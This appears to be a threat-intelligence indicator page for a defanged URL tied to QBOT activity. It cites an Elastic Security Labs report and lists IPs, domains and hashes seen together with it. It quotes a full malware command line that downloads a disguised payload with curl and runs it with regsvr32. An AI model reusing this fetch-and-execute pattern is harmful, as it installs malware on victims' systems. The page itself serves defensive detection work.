hxxps://redacted[.]net/t8EKnIB/C.pngURL

Reported by 1 independent source · first reported 22 Aug 2022 by Elastic Security Labs · last reported 22 Aug 2022

Last reported 4 years ago

What the reports say

1 report, newest first · the exact sentence from each

“**"C:\Windows\System32\cmd.exe" /q /c echo 'Ft' && ping REDACTED.com && MD "\\vyr" && curl.exe -o \\vyr\v4QpQt.Nqv.e8xO hxxps://REDACTED[.]net/t8EKnIB/C.png && echo "sxF" && ping REDACTED.com && regsvr32 "\\vyr\v4QpQt.Nqv.e8xO"**”

Elastic Security LabsVendor22 Aug 2022
Exploring the QBOT Attack Pattern

Indicators reported together

named in the same reports

181.118.183[.]98in 1 report
c2ba065654f13612…180fb1912b3ain 1 report
41.228.22[.]180in 1 report
47.23.89[.]62in 1 report
176.67.56[.]94in 1 report
103.107.113[.]120in 1 report
148.64.96[.]100in 1 report
47.180.172[.]159in 1 report
redacted[.]comin 1 report
redacted[.]netin 1 report
140.82.49[.]12in 1 report
144.202.2[.]175in 1 report
144.202.3[.]39in 1 report
149.28.238[.]199in 1 report
45.63.1[.]12in 1 report
45.76.167[.]26in 1 report
140.82.49.12.vultrusercontent[.]comin 1 report
144.202.2.175.vultrusercontent[.]comin 1 report
636e2904276fe33e…2f7a54443e02in 1 report
a2bacde7210d8867…21b78a9ebf56in 1 report

Copy these 20 indicators · defanged

20 indicators, defanged, one per line

181.118.183[.]98
c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a
41.228.22[.]180
47.23.89[.]62
176.67.56[.]94
103.107.113[.]120
148.64.96[.]100
47.180.172[.]159
redacted[.]com
redacted[.]net
140.82.49[.]12
144.202.2[.]175
144.202.3[.]39
149.28.238[.]199
45.63.1[.]12
45.76.167[.]26
140.82.49.12.vultrusercontent[.]com
144.202.2.175.vultrusercontent[.]com
636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02
a2bacde7210d88675564106406d9c2f3b738e2b1993737cb8bf621b78a9ebf56

Thanks — we review every report.

Report a wrong value